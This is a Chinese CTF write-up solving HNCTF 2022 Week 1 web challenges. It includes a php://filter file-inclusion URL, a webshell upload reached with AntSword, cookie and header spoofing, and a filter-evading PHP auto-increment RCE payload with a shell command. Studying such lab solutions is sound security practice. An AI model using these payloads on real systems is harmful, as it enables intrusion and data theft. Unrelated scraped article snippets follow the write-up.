[HNCTF 2022 Week1]——Web方向 详细Writeup

news/2024/5/19 23:44:52 标签: php, web安全, CTF, RCE

Week1

CTF_2022_Week12048_2">[HNCTF 2022 Week1]2048

f12查看源代码

image-20230706180920528

可以看出游戏的分数是score

image-20230706181314548

修改score的值

image-20230706181335493

得到flag

CTF_2022_Week1Interesting_include_18">[HNCTF 2022 Week1]Interesting_include

得到源码

php"><?php
//WEB手要懂得搜索
//flag in ./flag.php

if(isset($_GET['filter'])){
    $file = $_GET['filter'];
    if(!preg_match("/flag/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

php伪协议,构造payload:

http://node3.anna.nssctf.cn:28894/?filter=php://filter/read=convert.base64-encode/resource=flag.php

base64解码得到flag

CTF_2022_Week1easy_upload_46">[HNCTF 2022 Week1]easy_upload

不是,你个标签整这么吓人干嘛啊???是谁!!

image-20230707171703762

一句话木马直接挂马成功了

image-20230707175040356

蚁剑直接连接

image-20230707175126198

根目录下得到flag

CTF_2022_Week1easy_html_62">[HNCTF 2022 Week1]easy_html

说饼干中好像有什么东西,那就看cookie,url转码一下,./f14g.php,然后去访问

image-20230707175428595

说要输入手机号登录,本来想随便输入一个的,但是只能输入十位,并且会回显nononono!

image-20230707183952827

利用burp抓包,强行输入11位数字,发包得到flag

image-20230707184059624

CTF_2022_Week1What_is_Web_76">[HNCTF 2022 Week1]What is Web

CTRL+U往下拉

image-20230707190548543

base64解码得到flag

CTF_2022_Week1Interesting_http_84">[HNCTF 2022 Week1]Interesting_http

说要post a want,那就给他发一个want

image-20230707191323402

给了两个单词,肯定选flag,然后发包

image-20230707191434589

提示Not admin,用burp抓包,可以看到cookie中有一个user,值是notadmin改成admin

image-20230707191950964

提示No location,用XFF

image-20230707192212380

拿到flag

CTF_2022_Week1Challenge__rce_104">[HNCTF 2022 Week1]Challenge__rce

f12查看hint,?hint

image-20230707195557715

给hint传入一个值得到源码

php"><?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
} 

说明这里要进行RCE,但是过滤掉了大部分东西,这里可以用的是$()+,.0123456789;=[]_{},那么就是自增RCE

关于自增RCE可看这篇:CTFshow-RCE极限大挑战wp

直接放payload:

rce=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

但是传入的时候要进行url编码

%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

并且传入的时候要传入12,如下

image-20230707200731013

然后将2的值为cat /ffflllaaaggg

得到flag


http://www.niftyadmin.cn/n/5009215.html

相关文章

常用消息中间件有哪些

RocketMQ 阿里开源&#xff0c;阿里参照kafka设计的&#xff0c;Java实现 能够保证严格的消息顺序 提供针对消息的过滤功能 提供丰富的消息拉取模式 高效的订阅者水平扩展能力 实时的消息订阅机制 亿级消息堆积能力 RabbitMQ Erlang实现&#xff0c;非常重量级&#xff0c;更适…

语音信号的采集与处理

数字信号处理是利用计算机或专用处理设备&#xff0c;以数值计算的方法对信号进行采集、抽 样、变换、综合、估值与识别等加工处理&#xff0c;借以达到提取信息和便于应用的目的。它在语 音、雷达、图像、系统控制、通信、航空航天、生物医学等众多领域都获得了极其广泛的 …

Google 开源库Guava详解(集合工具类)

任何具有JDK Collections Framework经验的程序员都知道并喜欢java.util.Collections.Guava提供了更多的实用程序&#xff1a;适用于所有集合的静态方法。这些是番石榴最受欢迎和成熟的部分。 对应于特定接口的方法以相对直观的方式分组&#xff1a; nterface JDK or Guava? …

AUTOSAR规范与ECU软件开发(实践篇)9.6 AUTOSAR安全机制的程序流监控

目录 1、前言 (1) WdgM模块 (2) WdgIf模块 (3) Wdg模块 (1) Alive Supervision

如何选择合适的HTTP代理服务器

HTTP代理服务器是一种常见的网络代理方式&#xff0c;它可以帮助用户隐藏自己的IP地址&#xff0c;保护个人隐私和安全。然而&#xff0c;选择合适的HTTP代理服务器并不容易&#xff0c;需要考虑多个因素。本文将介绍如何选择合适的HTTP代理服务器。 了解代理服务器的类型 HTT…

chrome_elf.dll丢失怎么办?修复chrome_elf.dll文件的方法

Chrome是目前最受欢迎的网络浏览器之一&#xff0c;然而有时用户可能会遇到Chrome_elf.dll丢失的问题。该DLL文件是Chrome浏览器的一个重要组成部分&#xff0c;负责启动和管理程序的各种功能。当Chrome_elf.dll丢失时&#xff0c;用户可能无法正常启动Chrome或执行某些功能。本…

Es6中的拓展运算符参数解构在实际项目当中应用

扩展操作符 … 是ES6中引入的&#xff0c;将可迭代对象展开到其单独的元素中,常见的应用场景有:拷贝数组对象,合并数组,参数传递,数组去重,字符串转字符数组,解构变量等 单纯的学习某个技术知识点,很容易的,但是能在实际项目中运用进去,那就不简单了的 单纯的学习某个语言的语法…

U-net网络学习记录

U-net网络 本质上是一个用于图像分割的神经网络 输入是一幅图&#xff0c;输出是目标的分割结果。继续简化就是&#xff0c;一幅图&#xff0c;编码&#xff0c;或者说降采样&#xff0c;然后解码&#xff0c;也就是升采样&#xff0c;然后输出一个分割结果。根据结果和真实分…